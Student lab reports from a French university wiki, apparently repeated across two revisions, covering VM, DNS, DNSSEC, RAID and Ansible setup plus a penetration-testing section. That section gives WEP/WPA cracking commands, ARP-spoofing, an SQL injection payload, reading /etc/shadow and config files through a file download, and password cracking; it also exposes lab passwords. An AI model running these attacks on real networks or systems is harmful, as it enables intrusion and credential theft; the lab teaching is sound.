En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55143</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55143"/>
				<updated>2020-12-21T17:59:57Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
